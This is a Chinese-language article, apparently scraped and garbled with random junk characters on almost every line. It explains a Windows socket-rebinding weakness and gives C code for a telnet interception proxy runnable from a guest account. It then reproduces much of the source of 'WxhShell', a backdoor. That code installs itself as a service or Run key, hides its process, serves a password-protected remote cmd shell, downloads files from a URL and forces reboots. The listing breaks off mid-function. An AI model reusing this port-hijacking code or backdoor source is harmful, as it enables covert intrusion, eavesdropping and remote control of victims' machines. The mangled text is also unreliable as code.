在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o2 ; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0.aIcc Sl;[9l2 saddr.sin_family = AF_INET;
P=[_W;->} K8=jkU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Sx0/Dm hCOCX_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iV$TvD+ `j1b5&N;7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0"F|) nO+-o;DbC 这意味着什么?意味着可以进行如下的攻击:
f:K>o. e7Sp?>-d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
fTOGW`s^ Ol
sX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ELN1F0TneH Q}: $F{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0H+!v -U{CWn3G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
M
ZAz= )- UhKd o 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}G)2HTaZ #z1/VZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2oF1do; !(F?Np Am 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l$&dTI<# I/*^s #include
T)I\?hqTB #include
x[y}{T #include
cy(4g-b]@e #include
8RI'Fk{ DWORD WINAPI ClientThread(LPVOID lpParam);
-@tj0OHg int main()
A"O\u=! {
p/qu4[Mm WORD wVersionRequested;
' Tk4P{ DWORD ret;
95E# WSADATA wsaData;
0v,fY2$c BOOL val;
:Xs4 C%H; SOCKADDR_IN saddr;
>WA'/Sl<A< SOCKADDR_IN scaddr;
25Ro
)5 int err;
5\EnD,y SOCKET s;
]8htL#C SOCKET sc;
kTcW=AXu int caddsize;
|[0Ijm2 HANDLE mt;
[1Aoj| DWORD tid;
I+F>^4_d wVersionRequested = MAKEWORD( 2, 2 );
!rF1Remw err = WSAStartup( wVersionRequested, &wsaData );
(hBph+ if ( err != 0 ) {
o`Af6C;Q printf("error!WSAStartup failed!\n");
Qo!F?i/ n return -1;
w~q ]& }
g=KvCqJN saddr.sin_family = AF_INET;
`fOp>S^Q4 {b' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sYfm]Faz yEos$/*u-N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|~ytAyw saddr.sin_port = htons(23);
dC;&X
g` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ts%
n tnvI {
&Dt=[yqeG printf("error!socket failed!\n");
m] yUcj{F return -1;
.^2.h }
ZXN`8!]& val = TRUE;
`-e9#diQe //SO_REUSEADDR选项就是可以实现端口重绑定的
^s#+`Y05/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
BNF*1JO {
6oq5CD oq printf("error!setsockopt failed!\n");
gj
iFpW4 return -1;
ACy}w?D< }
>9mj/P D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
C=(Q0-+L| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(?g+.]Dt, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4x<H=CJC 3d]~e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
xC9{hXg! {
lU%oU&P/"S ret=GetLastError();
TFm[sO0RZ printf("error!bind failed!\n");
k&uh return -1;
gKcBx6G
Q }
lXF7)H&T listen(s,2);
rT=C/SKP while(1)
KxD/{0F {
EP"Z 58&$R caddsize = sizeof(scaddr);
op/_:#&' //接受连接请求
^eyVEN sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
OSfT\8YA if(sc!=INVALID_SOCKET)
,(-V<>/*.| {
~1E!Co mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.jg@UAK if(mt==NULL)
xAl8e
{
.zl[nx[9"D printf("Thread Creat Failed!\n");
F:d2; break;
zy%0;% }
Q"D5D
rj }
'&hd^9]Lo CloseHandle(mt);
d"IZt;s/, }
Phk3Jv
closesocket(s);
2 S~( P WSACleanup();
2@lGY_O!m return 0;
|5%T) }
by0K:*C DWORD WINAPI ClientThread(LPVOID lpParam)
x`FTy&g {
+ kT ]qH SOCKET ss = (SOCKET)lpParam;
uY(8KW SOCKET sc;
@87Y/_l unsigned char buf[4096];
W!R0:- SOCKADDR_IN saddr;
:<bhQY long num;
|O6/p7+. DWORD val;
c-5AI{%bl6 DWORD ret;
%gs?~Xl)] //如果是隐藏端口应用的话,可以在此处加一些判断
mj ?Gc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~;]kqYIJ saddr.sin_family = AF_INET;
|1tpXpe saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i-w$-2w saddr.sin_port = htons(23);
S9r?= K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P9qIq]M {
I*^t!+q$ printf("error!socket failed!\n");
Xp9I3nd| return -1;
NA/`LaJ }
^"D^D`$@ val = 100;
{Q37a=;, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NN2mOJ:- {
W6}>iB ret = GetLastError();
q^<HG] return -1;
j'U1lEZm2 }
K:jn^JN$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i!}6FBZ {
Axns ret = GetLastError();
2"?D aX return -1;
SepwMB4@ }
bEj}J_# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\?R#ZxP@ {
EnlAgL']| printf("error!socket connect failed!\n");
:H3/+/x closesocket(sc);
i0$*):b closesocket(ss);
Q.$Rhjb return -1;
jc )7FE }
Ky"FL while(1)
zG<<MR/< {
V4NQcy?
H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5 ,-8oEUL //如果是嗅探内容的话,可以再此处进行内容分析和记录
ohqThl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J<+f7L num = recv(ss,buf,4096,0);
/{`"X_.o if(num>0)
&.?E[db"h send(sc,buf,num,0);
s5{=lP else if(num==0)
l*z%Jw break;
|u?VlRt num = recv(sc,buf,4096,0);
1s@QsZ3 if(num>0)
2/r8%Sq send(ss,buf,num,0);
,3 /o7 ' else if(num==0)
("t'XKP&N break;
,>rvl P }
mi<Q3;m closesocket(ss);
X*@ tp,t closesocket(sc);
jzJTV4&zjs return 0 ;
mN}szW, }
N10U&L'w 18sc|t 0y,w\'j ==========================================================
5 | , b 3k9n*jY0 下边附上一个代码,,WXhSHELL
L55UeP\ S}VS@KDO ==========================================================
3~tu\TH6d P'OvwA #include "stdafx.h"
(1[59<cg] 96<oX:# #include <stdio.h>
t!3N|`x #include <string.h>
!2.BLJE> #include <windows.h>
U< G 2tn( #include <winsock2.h>
cbyzZ#WRb #include <winsvc.h>
p9?kJKN #include <urlmon.h>
^@AyC"K -)oUb=Lk{ #pragma comment (lib, "Ws2_32.lib")
<C&|8@A0 #pragma comment (lib, "urlmon.lib")
O7VEyQqf5 =n"k gn #define MAX_USER 100 // 最大客户端连接数
|EX=Rj* #define BUF_SOCK 200 // sock buffer
iBAP,cR?` #define KEY_BUFF 255 // 输入 buffer
z``wqK /m"/#; ^l #define REBOOT 0 // 重启
<A)M^,#o #define SHUTDOWN 1 // 关机
*PnO$q@` B F<u3p?? #define DEF_PORT 5000 // 监听端口
`"&Nw,C A_oZSUrR #define REG_LEN 16 // 注册表键长度
WM
?a1j #define SVC_LEN 80 // NT服务名长度
Pn OWQ8= `L`+`B // 从dll定义API
&;d
N:F; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gx9Os2Z|3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:}v-+eIQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;C$+8%P4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
i>YQ<A1 K#wA ; // wxhshell配置信息
}psRgF struct WSCFG {
e9KD mX_ int ws_port; // 监听端口
X%5eZ"1{x char ws_passstr[REG_LEN]; // 口令
F=e9o*z int ws_autoins; // 安装标记, 1=yes 0=no
1]2]l*&3 char ws_regname[REG_LEN]; // 注册表键名
/VT/KT{ char ws_svcname[REG_LEN]; // 服务名
~\CS%thX char ws_svcdisp[SVC_LEN]; // 服务显示名
O+=%Mz(l char ws_svcdesc[SVC_LEN]; // 服务描述信息
4kM/`g6?,q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!B%em%Tv int ws_downexe; // 下载执行标记, 1=yes 0=no
xrg?{*\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y)X7*iTi'j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
E@ U]k$M B{j><uxl };
X"r)zCP+t EYq?NL=' // default Wxhshell configuration
6^]| struct WSCFG wscfg={DEF_PORT,
<@-O06 "xuhuanlingzhe",
8O,\8:I# 1,
Q p>b "Wxhshell",
):! =XhQ "Wxhshell",
l}z<q "WxhShell Service",
Dd5
9xNKm "Wrsky Windows CmdShell Service",
4$&l`yWU+ "Please Input Your Password: ",
/=/Ki%hh 1,
nL:&G'd "
http://www.wrsky.com/wxhshell.exe",
`]eJF|" "Wxhshell.exe"
LOx+?4|y };
QE(.w
dHP mgjJNzclL // 消息定义模块
b]4dmc*N+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ux&"TkEp char *msg_ws_prompt="\n\r? for help\n\r#>";
W%g*sc*+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I1E9E$m5\< char *msg_ws_ext="\n\rExit.";
.Az36wD char *msg_ws_end="\n\rQuit.";
E?XaU~cpc char *msg_ws_boot="\n\rReboot...";
! dzgi: char *msg_ws_poff="\n\rShutdown...";
c}o 6Rm50 char *msg_ws_down="\n\rSave to ";
Sf, z pD$4nH4KST char *msg_ws_err="\n\rErr!";
Iy9hBAg\y char *msg_ws_ok="\n\rOK!";
c
3QgX4vq VyxYv-$Y char ExeFile[MAX_PATH];
/e '3\,2_ int nUser = 0;
LW]fme<V? HANDLE handles[MAX_USER];
=*,SD int OsIsNt;
K?^;|m- 'K,\ SERVICE_STATUS serviceStatus;
t_3j_` SERVICE_STATUS_HANDLE hServiceStatusHandle;
Q*smH-Sw m;OvOc, // 函数声明
c1'@_Is int Install(void);
X,|8Wpi= int Uninstall(void);
FXof9fa_B int DownloadFile(char *sURL, SOCKET wsh);
YJ _eE int Boot(int flag);
C$y6^/7) void HideProc(void);
!2LX+*; int GetOsVer(void);
K&|h%4O int Wxhshell(SOCKET wsl);
RehmVkT void TalkWithClient(void *cs);
te+} j7SU int CmdShell(SOCKET sock);
V,&%[H [ int StartFromService(void);
"<ZV'z int StartWxhshell(LPSTR lpCmdLine);
9* )&hhBs, dEoIVy _9R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\Z]+j@9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
X8|H5Y: RPz[3y // 数据结构和表定义
]nTeTW SERVICE_TABLE_ENTRY DispatchTable[] =
?.?)5
&4 {
e%\^V\L {wscfg.ws_svcname, NTServiceMain},
p&<Ssc {NULL, NULL}
U6]#RxH };
;t&q|}x" Ia&*JYM[ // 自我安装
n$/|r int Install(void)
bWswF<y- {
)/;KxaKt char svExeFile[MAX_PATH];
p/h\QG1
HKEY key;
7*5B strcpy(svExeFile,ExeFile);
*4cuWkQ, r<`:Q] // 如果是win9x系统,修改注册表设为自启动
d9f7 & if(!OsIsNt) {
+K4XMf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G$<(>"Yr~$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)0"Q
h RegCloseKey(key);
+MoUh'/u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hhTtxC<: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E=s h^Q(A RegCloseKey(key);
TjW!-s?S return 0;
OdzeHpH3g }
]&*POri& }
w$}q`k' }
Nm*(?1 else {
:5t4KcQ -/Q5?0z // 如果是NT以上系统,安装为系统服务
pHeG{<^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
11H`WOTQF if (schSCManager!=0)
L<F8+a7i {
E'AR.! SC_HANDLE schService = CreateService
CsO!Y\'FY (
Y+?QHtZL schSCManager,
RM2Ik_IH[l wscfg.ws_svcname,
ewMVUq*: wscfg.ws_svcdisp,
F]$ Nu SERVICE_ALL_ACCESS,
37U8< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
]>n{~4a SERVICE_AUTO_START,
(t4i&7- SERVICE_ERROR_NORMAL,
Oyl~j#h svExeFile,
B"^j>SF NULL,
6$`< Y? NULL,
_{*} )&!M NULL,
0,Ds1y^ NULL,
bfxE}> NULL
5nG\J
g7 );
"Lp.*o if (schService!=0)
W5R/Ub@g {
m}]{Y'i]R CloseServiceHandle(schService);
&;BhL%)} CloseServiceHandle(schSCManager);
"- 4|HA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_H+]G"k/r strcat(svExeFile,wscfg.ws_svcname);
.n 9.y8C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@cDB 7w\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
GkAd"<B RegCloseKey(key);
Y+-yIMt$r return 0;
U2VEFm6 }
CmU@8-1 }
#7uH>\r CloseServiceHandle(schSCManager);
VUP|j/qD }
*p{p.%Qs: }
BtJkvg(2] !wYN",R- return 1;
E>fY,*0 }
^ D0"m>3r {j wv+6]U // 自我卸载
}QE.|.fA1 int Uninstall(void)
mR0`wrt {
*DJsY/9d}' HKEY key;
,:S#gN{U d6i}xnmC if(!OsIsNt) {
Q2fxsa[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S>lP?2J RegDeleteValue(key,wscfg.ws_regname);
@nH3nn RegCloseKey(key);
Xu{y5N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R@\fqNq RegDeleteValue(key,wscfg.ws_regname);
[}L?EM RegCloseKey(key);
4 H 6t" X return 0;
xW"O|x$6 }
U][E`[m# }
qnP4wRpr }
tQ}GTqk else {
8:Hh;nl 3W'fEh5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ra~=i|s if (schSCManager!=0)
/JNG}* {
e1[ReZW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
FBE|pG7 if (schService!=0)
TOiLv.Dor {
/)K') if(DeleteService(schService)!=0) {
A!Tl CloseServiceHandle(schService);
imOIO[<; CloseServiceHandle(schSCManager);
nOC\ =<Nsg return 0;
zlLZ8b+ }
60{G
4b) CloseServiceHandle(schService);
m{>1#1;$t }
=p|IWn{P CloseServiceHandle(schSCManager);
TTG=7x:3 }
bWL!= }
xxGm T.& _;}$/ return 1;
9DBX.| }
hw"2'{"II c@>ztQU* // 从指定url下载文件
:r{-:
int DownloadFile(char *sURL, SOCKET wsh)
8 n[(\f: {
:%sG'_d HRESULT hr;
K^x{rn.Zf char seps[]= "/";
+At[[ char *token;
G=qlE?j`j char *file;
QXj #Brp char myURL[MAX_PATH];
4+8)0;<H char myFILE[MAX_PATH];
/'oo;e W,8Uu1X = strcpy(myURL,sURL);
*L?~ token=strtok(myURL,seps);
|HAbZd7PG while(token!=NULL)
USART}Us4 {
ttr` file=token;
#2|biTJ token=strtok(NULL,seps);
&CRgi488b }
-75mgOj.# <uU<qO;6 GetCurrentDirectory(MAX_PATH,myFILE);
Na`>
pH strcat(myFILE, "\\");
i&(1<S>P strcat(myFILE, file);
x7B;\D#`i/ send(wsh,myFILE,strlen(myFILE),0);
a2?@OJ send(wsh,"...",3,0);
"T[BSj?E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o5/BE`VD5c if(hr==S_OK)
xd `MEOY return 0;
r5[pT(XT] else
Z|KDi
`S return 1;
N_Ezp68Fp {$t*XTY6R }
NPv.7, +DQUL|\ // 系统电源模块
r4cz?e| int Boot(int flag)
^EN
)}:%Z {
N, u]2,E HANDLE hToken;
O\uIIuy TOKEN_PRIVILEGES tkp;
%qsl<_& *Mg@j;+5s if(OsIsNt) {
;k0Jl0[} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{a\! 1~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hrJ(] [8 tkp.PrivilegeCount = 1;
Q(A$ >A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-vm1xp$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@}PXBU if(flag==REBOOT) {
qh W]Wd"g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7L:Eg return 0;
a:GM|X }
Kt qOA[6 else {
6n]jx:CZ, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
22ySMtxn return 0;
3S#p4{3 }
U<F|A!Fg }
[QMN0#(h else {
)sQ/$gJ if(flag==REBOOT) {
J:'_S `J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wWx{#!W return 0;
y(iq }
9BlpqS:P& else {
sk07|9nU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O..{wdZy return 0;
^AI02`c. }
2::YR? }
+qpG$#J0 `z q+Xl return 1;
z{
M2tLNb }
K2Ro0 D=%1?8K // win9x进程隐藏模块
^uG^>Om* void HideProc(void)
]Ue
aXwaU {
IDf\!QGx teb(gUy}L6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6DU(KYN if ( hKernel != NULL )
%=*|:v {
?vbAaRg50s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)w<Z4_!N4s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Vp1ct06^ FreeLibrary(hKernel);
a6xo U;T }
C6F7,v62 :J@3:+sr return;
`#W+pO }
IYtiX F#L1~\7 // 获取操作系统版本
%2b^t*CQ int GetOsVer(void)
)l!
/7WKY {
u^MRKLn OSVERSIONINFO winfo;
0#=xUk#LP` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
dg~lz8 0 GetVersionEx(&winfo);
WC=d@d)M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Vh;|qF 9 return 1;
vm;%713#1 else
6&;GC<].(y return 0;
KX;JX*)J }
21Dc.t{ WK?5`|1l:x // 客户端句柄模块
Y+),c14# int Wxhshell(SOCKET wsl)
C+M]"{Y+ {
zx$1.IM"4 SOCKET wsh;
du~V=%9 struct sockaddr_in client;
h*40jZ DWORD myID;
YL!{oHs4 '
=5B while(nUser<MAX_USER)
smQl^
6a {
A15Kj#Oy int nSize=sizeof(client);
Lj GZp"&{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1,h:| if(wsh==INVALID_SOCKET) return 1;
479X5Cl M?My+o T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2z#S|$ if(handles[nUser]==0)
cNwHY
Z' closesocket(wsh);
~@6l7H6{ else
mj9sX^$dE nUser++;
XC;Icr) }
gjz-CY.hz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_()1"5{ g-UCvY
I return 0;
hQY`7m>L }
`V<jt5TS jD${ZIv // 关闭 socket
|kP utB void CloseIt(SOCKET wsh)
P?S]Q19Q4 {
5vg="@O K closesocket(wsh);
?}uuTNLl) nUser--;
7Ja*T@ ! h ExitThread(0);
;tSAQ }
v2_` iwE J#t-."f6^ // 客户端请求句柄
6tFi\,)E void TalkWithClient(void *cs)
=r*Ykd;W|E {
sQe
GT)/| LT"H-fTgs SOCKET wsh=(SOCKET)cs;
K_@?Q@#YhR char pwd[SVC_LEN];
s&Y"a,|Z char cmd[KEY_BUFF];
kg
8Dn char chr[1];
BM'!odRv int i,j;
2?SbkU/3|P 'NZ=DSGIy while (nUser < MAX_USER) {
+:"0%( J>5 rkR@/ if(wscfg.ws_passstr) {
iGkysU<wcp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
le]~Cy0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x x4GP2 //ZeroMemory(pwd,KEY_BUFF);
&7oL2Wf i=0;
7[w<v(Rc while(i<SVC_LEN) {
Qn,6s%n
_&/ {A|n // 设置超时
a6-.|tt#t fd_set FdRead;
r0 )ne|&Hp struct timeval TimeOut;
1I{8 | FD_ZERO(&FdRead);
"i\#L`TkzX FD_SET(wsh,&FdRead);
6y~F'/ww TimeOut.tv_sec=8;
SI=u-'% TimeOut.tv_usec=0;
J|].h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?*%_:fB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|/vJ+aKq <l$ d>, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Z Cjw)To( pwd
=chr[0]; a5GLbanF
if(chr[0]==0xd || chr[0]==0xa) { 4A6Yl6\Y
pwd=0; tKeTHj;jO
break; [IQ|c?DxpL
} ZGDT
6,
i++; kJp~'\b
} 94?WL
JD~;.3$/k
// 如果是非法用户,关闭 socket \1Xk[%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KGHSEZi]
} Ca
PHF@6WN
%KXiB6<4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {VE
h@yn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o[T+/Ej&
*Bq}.Yn
while(1) { s:Ml\['x
+7^p d9F.
ZeroMemory(cmd,KEY_BUFF); XS [L-NHG
Ch_rV+
// 自动支持客户端 telnet标准 8s@N NjV
j=0; b1.*cIv}
while(j<KEY_BUFF) { w{6C4~0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B-R#?Xn:!I
cmd[j]=chr[0]; o^\Pt<~W
if(chr[0]==0xa || chr[0]==0xd) { 0(D^NtB7
cmd[j]=0; /v8Q17O?e
break; "|L"C+tE
} DS<1"4 b|
j++; K"H\gmV_g
} );\c{QF
AQlB_@ b
// 下载文件 &(rWl`eTY`
if(strstr(cmd,"http://")) { i(^U<DW$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &$F<]]&
if(DownloadFile(cmd,wsh)) Jpj=d@Of70
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vRmn61
else jdP)y]c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LdV&G/G-#D
} S{rltT-
else { rP3HR5
&0Yg:{k$
switch(cmd[0]) { .p&@;fZ
8Ojqm#/f
// 帮助 K>@yk9)vi
case '?': { $(aq;DR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xzm]v9k&
break; z%%O-1
} W]9*dabem
// 安装 ff\~`n~WZ
case 'i': { hm`=wceK
if(Install()) `}}:9d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4[=*!hs!
else * x/!i^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Z( #;9f
break; ^dHQ<L3.*
} q8v[u_(yD
// 卸载 -3EQRqVg
case 'r': {
b-&iJ &>'
if(Uninstall()) ;uUFgDi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Rn6x
$_
else &9p!J(C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z<-_Y]4j
break; %9J@##+
} {ALEK
// 显示 wxhshell 所在路径 nqcq3o*B
case 'p': { W)In.?>]W
char svExeFile[MAX_PATH]; 1i y$ n
strcpy(svExeFile,"\n\r"); F4EAC|Y
strcat(svExeFile,ExeFile); I,j4 BU4
send(wsh,svExeFile,strlen(svExeFile),0); Tlsh[@Q
break; _M&TT]a
} 7A)\:k
// 重启 $YL9 vJV
case 'b': { g* q#VmE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ts5)r(
if(Boot(REBOOT)) M&Ka^h;N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SS=<\q#MS
else { A`c%p7Z%
closesocket(wsh); !eLj +0
ExitThread(0); ti\
${C3
} 1 em,/>"
break; za>UE,?h
} t]yxLl\
// 关机 OXEk{#Uf[3
case 'd': { zUfq.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /`*{57/3
if(Boot(SHUTDOWN)) =}^NyLE?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,XD"
p1(|G
else { N:1aDr;
closesocket(wsh); Kg[OUBv
ExitThread(0); 2Je$SE8
} pP. _%5
break; d7OygDb <
} MMM
tB6
// 获取shell 7L{1S
v
case 's': { oL<#9)+2*
CmdShell(wsh); )ZG;.j
closesocket(wsh); 3o<d=@`r
ExitThread(0); )dXa:h0RZ
break; _bFUr
} M";qo6
// 退出 !#tVQ2O
case 'x': { &`"DG$N(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $*yYmF
CloseIt(wsh); *]6g-E?:@
break; o.+;]i}D
} 2"Os9 KD
// 离开 ^9g$/8[^c_
case 'q': { z;c>Q\Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b$ G{^
closesocket(wsh);
FaL\6w
WSACleanup(); 1^~&"s U
exit(1); (o^tmH*
break; "HMEoZ
} {keZ_2
} 1|bXIY.J*
} +#}GmUwPG$
eA/n.V$z
// 提示信息 2;}leZ@U
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^|Ap_!t$;
} m5\T,
} hnnB4]c
Ma YU%h0
return; `zd,^.i5~
} vCzZjGBY
*FS8]!Qg
// shell模块句柄 `KJ(. m
int CmdShell(SOCKET sock) SQp|
{ [GwAm>k
STARTUPINFO si; pGbfdX
ZeroMemory(&si,sizeof(si)); Lkt4F
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LU1I
`E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h<9s&
p
PROCESS_INFORMATION ProcessInfo; jUe@xis<T
char cmdline[]="cmd"; Y-VDi.]W
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]z'&oz
return 0; i'>6Qo
} pwFp<O"
F'bwXb**
// 自身启动模式 }K {1Bm@S
int StartFromService(void) iHa?b2=)
{ =u.@W98, K
typedef struct XlmX3RU
{ ~#-?V[
DWORD ExitStatus; a)_3r]sv^
DWORD PebBaseAddress; m4:c$5
DWORD AffinityMask;
~?ab_CY
DWORD BasePriority; ^7gGtz2
